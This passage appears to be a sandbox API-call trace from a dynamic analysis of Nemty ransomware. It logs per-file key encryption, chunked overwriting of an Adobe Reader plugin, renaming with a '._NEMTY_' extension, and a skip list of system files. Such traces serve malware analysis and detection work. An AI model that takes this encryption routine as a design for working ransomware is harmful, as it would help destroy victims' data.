Size=0x90) returned 0x6346f28 [0186.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.901] Sleep (dwMilliseconds=0x5) [0186.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x230c7e90, dwHighDateTime=0x1d561e8)) [0186.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x230c7e90, dwHighDateTime=0x1d561e8)) [0186.903] GetLastError () returned 0x12 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.903] GetLastError () returned 0x12 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0186.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0186.903] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.903] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="1RYJ6NrDhjRhcXzycOU/xdEGLjr+tzSRfYSPtnW6dB/A6XDf8nyE1JvTmjlndw+G\r\ni/HpoD/s0cfjgbQu3PcXwZsAvDR8Lp4D3qUddtjveFoP4IJBRIEfsAfXPInfwvEv\r\nYzEp/os8z/4H+qjj4OBUWX2VrOsj5UnkemRBWs3pT+Kb2HbqNCbbmA7OiheKZ0R/\r\nm7wGqo72EjedApNmR3Xxu4kP7/52ZtabHKPiChTulCeiFwnBPKGokxj2otqv4Nwl\r\nDGMH9pffODmbvbEsW1sT4WW8VDyiTxr6hFqSVr4sLvnAk3Dgtp7qcZUQGO8nXNFT\r\n+vWYL2EqHiAKM2NxWsIYWQ==\r\n", pcchString=0x653e91c) returned 1 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0186.904] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=11438691) returned 1 [0186.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0186.904] SetFilePointer (in: hFile=0x254, lDistanceToMove=4119345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3edb31 [0186.904] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.918] SetFilePointer (in: hFile=0x254, lDistanceToMove=4119345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3edb31 [0186.918] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.919] SetFilePointer (in: hFile=0x254, lDistanceToMove=4279345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x414c31 [0186.919] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.930] SetFilePointer (in: hFile=0x254, lDistanceToMove=4279345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x414c31 [0186.930] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.931] SetFilePointer (in: hFile=0x254, lDistanceToMove=4439345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43bd31 [0186.931] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.946] SetFilePointer (in: hFile=0x254, lDistanceToMove=4439345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43bd31 [0186.946] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.946] SetFilePointer (in: hFile=0x254, lDistanceToMove=4599345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x462e31 [0186.946] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.958] SetFilePointer (in: hFile=0x254, lDistanceToMove=4599345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x462e31 [0186.958] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.958] SetFilePointer (in: hFile=0x254, lDistanceToMove=4759345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x489f31 [0186.958] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.972] SetFilePointer (in: hFile=0x254, lDistanceToMove=4759345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x489f31 [0186.972] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.972] SetFilePointer (in: hFile=0x254, lDistanceToMove=4919345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b1031 [0186.972] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.985] SetFilePointer (in: hFile=0x254, lDistanceToMove=4919345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b1031 [0186.985] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.986] SetFilePointer (in: hFile=0x254, lDistanceToMove=5079345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d8131 [0186.986] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0186.995] SetFilePointer (in: hFile=0x254, lDistanceToMove=5079345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d8131 [0186.995] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0186.996] SetFilePointer (in: hFile=0x254, lDistanceToMove=5239345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ff231 [0186.996] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0187.014] SetFilePointer (in: hFile=0x254, lDistanceToMove=5239345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ff231 [0187.014] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0187.015] SetFilePointer (in: hFile=0x254, lDistanceToMove=5399345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x526331 [0187.015] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0187.029] SetFilePointer (in: hFile=0x254, lDistanceToMove=5399345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x526331 [0187.029] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0187.029] SetFilePointer (in: hFile=0x254, lDistanceToMove=5559345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54d431 [0187.030] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0187.039] SetFilePointer (in: hFile=0x254, lDistanceToMove=5559345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54d431 [0187.039] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0187.040] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.040] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0187.048] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.048] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0187.048] SetFilePointer (in: hFile=0x254, lDistanceToMove=11336291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xacfa63 [0187.048] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0187.057] SetFilePointer (in: hFile=0x254, lDistanceToMove=11336291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xacfa63 [0187.057] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0187.058] SetFilePointer (in: hFile=0x254, lDistanceToMove=11438691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae8a63 [0187.058] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0187.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.058] CloseHandle (hObject=0x254) returned 1 [0187.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0187.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0187.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0187.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0187.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.058] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api._nemty_kgobjgd_")) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0187.060] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AcroSign.prc", cAlternateFileName="")) returned 1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2=".") returned 1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="..") returned 1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="...") returned 1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="windows") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="$RECYCLE.BIN") returned 1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="rsa") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="NTDETECT.COM") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="ntldr") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="MSDOS.SYS") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="IO.SYS") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="boot.ini") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="boot.ini") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="AUTOEXEC.BAT") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="ntuser.dat") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="desktop.ini") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="CONFIG.SYS") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="RECYCLER") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="BOOTSECT.BAK") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="bootmgr") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="programdata") returned -1 [0187.060] lstrcmpiW (lpString1="AcroSign.prc", lpString2="appdata") returned -1 [0187.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroSign.prc", lpUsedDefaultChar=0x0) returned 12 [0187.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroSign.prc", lpUsedDefaultChar=0x0) returned 12 [0187.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroSign.prc", lpUsedDefaultChar=0x0) returned 12 [0187.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroSign.prc", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroSign.prc", lpUsedDefaultChar=0x0) returned 12 [0187.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0187.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0187.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0187.061] Sleep (dwMilliseconds=0x5) [0187.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2326adb0, dwHighDateTime=0x1d561e8)) [0187.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2326adb0, dwHighDateTime=0x1d561e8)) [0187.073] GetLastError () returned 0x0 [0187.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.073] GetLastError () returned 0x0 [0187.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.073] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0187.073] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0187.073] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0187.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0187.073] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="/QD+c8SwoKPAEmYbFMg/Oa0EKUMWTCqgIuJVGjxzusBok+iHWPQNj5PRscUon2CB\r\nDbDuvOBEylmRluZsqtsckYs8+2Ivub5lZ3y/T8nvaTRMS3yPulf22ZR38fzN8f7V\r\nGjv6bIV8wXbL6ECiuWlLNUEKnO+CA5brGCgKMlL+fLxxiAvPxMmrZuc6hF1c7apK\r\nR0BAdJIfUMC0XRQGmmkxM4Zr8RSqfIss3kQOcuYwxL5xp/ORxdlJFvHZxk3RLfn/\r\ntb0sd8tsSRY3YM3svMl0sEd34Q1Q0QBW8Lagdmb0m3bgcWrATa6MeY5OKg3wmTy7\r\nKjQ3fg2i20I+p9TicjTrgA==\r\n", pcchString=0x653e91c) returned 1 [0187.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0187.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 